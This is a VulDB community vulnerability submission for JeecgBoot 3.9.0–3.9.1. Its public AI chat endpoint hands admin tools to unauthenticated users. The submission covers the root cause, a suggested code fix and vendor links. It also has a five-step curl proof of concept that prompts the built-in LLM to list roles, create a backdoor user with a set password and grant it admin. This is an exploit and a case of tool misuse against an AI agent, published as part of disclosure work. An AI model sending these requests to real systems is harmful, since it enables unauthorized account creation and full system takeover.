COMMUNITY CONTENT

Submit #785570: JeecgBoot 3.9.0, 3.9.1 Improper Access Controls

Title	JeecgBoot 3.9.0, 3.9.1 Improper Access Controls

Description	A critical vulnerability exists in JeecgBoot versions 3.9.0 to 3.9.1 in the AI Chat module.
	
	[Vulnerability Root Cause]
	
	The AI chat endpoint /airag/chat/send is intentionally designed as a public endpoint, marked with @IgnoreAuth annotation in the controller: https://github.com/jeecgboot/JeecgBoot/blob/master/jeecg-boot/jeecg-boot-module/jeecg-boot-module-airag/src/main/java/org/jeecg/modules/airag/app/controller/AiragChatController.java
	
	The frontend route /ai/app/chat/:appId is also configured with ignoreAuth: true, confirming this is an intentional design for embedded AI chat scenarios: https://github.com/jeecgboot/JeecgBoot/blob/master/jeecgboot-vue3/src/views/super/airag/aiapp/chat/route/register.ts
	
	However, when users access the default AI application without specifying an appId, the method sendWithDefault() in AiragChatServiceImpl.java unconditionally loads sensitive business tools without verifying whether the current user is authenticated: https://github.com/jeecgboot/JeecgBoot/blob/master/jeecg-boot/jeecg-boot-module/jeecg-boot-module-airag/src/main/java/org/jeecg/modules/airag/app/service/impl/AiragChatServiceImpl.java
	
	Vulnerable code in sendWithDefault():
	if(chatConversation.getApp().getId().equals(AiAppConsts.DEFAULT_APP_ID)){
	aiChatParams.setTools(jeecgToolsProvider.getDefaultTools());
	}
	
	[Sensitive Tools Exposed]
	
	The tools are registered in JeecgBizToolsProvider.getDefaultTools(): https://github.com/jeecgboot/JeecgBoot/blob/master/jeecg-boot/jeecg-module-system/jeecg-system-biz/src/main/java/org/jeecg/modules/airag/JeecgBizToolsProvider.java
	
	Four sensitive tools are exposed to unauthenticated users:
	- add_user: Creates new system users with custom passwords
	- query_user_by_name: Queries sensitive user information (phone, email, user ID)
	- query_all_roles: Enumerates all system roles and their IDs
	- grant_user_roles: Assigns arbitrary roles to users (including admin)

Community Content

Submissions are made by VulDB community users. VulDB is *not responsible* for their content nor the links to external sources.

Please use the raw information shown and the links listed *with caution*. They might contain malicious and harmful actions, code or data.

The corresponding VulDB entries contain the moderated, verified, and normalized information provided within the raw submission.

Documentation

- Submission Policy
- Data Processing
- CVE Handling

[Attack Chain]

1. POST /airag/chat/send (no token) -> invoke query_all_roles -> obtain admin role ID
2. POST /airag/chat/send (no token) -> invoke add_user -> create backdoor user
3. POST /airag/chat/send (no token) -> invoke grant_user_roles -> escalate to admin
4. POST /sys/mLogin -> login with backdoor credentials -> full system takeover

Prerequisites: The backend must have a valid LLM API Key configured (e.g., DeepSeek, OpenAI).

[Proof of Concept]
Step 1 - Verify unauthenticated access:
curl -X POST http://TARGET/jeecgboot/airag/chat/send -H "Content-Type: application/json" -d '{"content":"hello"}' --no-buffer
Returns HTTP 200 with SSE stream, confirming no authentication required.
Step 2 - Enumerate all roles to obtain admin role ID:
curl -X POST http://TARGET/jeecgboot/airag/chat/send -H "Content-Type: application/json" -d '{"content":"Please use query_all_roles tool to list all roles with their role ID and role code"}'
Returns all system roles including admin role ID.
Step 3 - Create backdoor user via AI tool:
curl -X POST http://TARGET/jeecgboot/airag/chat/send -H "Content-Type: application/json" -d '{"content":"Please use add_user tool to create a user with username hacker_test, password Hacker@2026, realname Test, phone 13900001111"}'
Step 4 - Escalate to admin by granting admin role:
curl -X POST http://TARGET/jeecgboot/airag/chat/send -H "Content-Type: application/json" -d '{"content":"Please use grant_user_roles tool to grant the admin role (role ID obtained from Step 2) to user hacker_test"}'
Step 5 - Verify login with admin privileges:
curl -X POST http://TARGET/jeecgboot/sys/mLogin -H "Content-Type: application/json" -d '{"username":"hacker_test","password":"Hacker@2026"}'
Returns JWT token, confirming full admin access to the system.

[Suggested Fix]

Add authentication check before loading tools in sendWithDefault():
```
String currentUser = getUsername(SpringContextUtils.getHttpServletRequest());
if(oConvertUtils.isNotEmpty(currentUser)){
    aiChatParams.setTools(jeecgToolsProvider.getDefaultTools());
}
```
This allows anonymous users to continue using AI chat but prevents loading sensitive business tools for unauthenticated requests.

The vulnerability has been reported to the vendor via GitHub Issue:
https://github.com/jeecgboot/JeecgBoot/issues/9464
A fix has been submitted via Pull Request:
https://github.com/jeecgboot/JeecgBoot/pull/9463

Source	⚠️ https://github.com/jeecgboot/JeecgBoot/issues/9464
User	anch0r (UID 96691)
Submission	03/22/2026 01:31 PM (15 days ago)
Moderation	04/05/2026 05:40 PM (14 days later)

Status	Accepted
VulDB entry	355407 [JeecgBoot 3.9.0/3.9.1 AI Chat JeecgBizToolsProvider.java missing authentication]
Points	20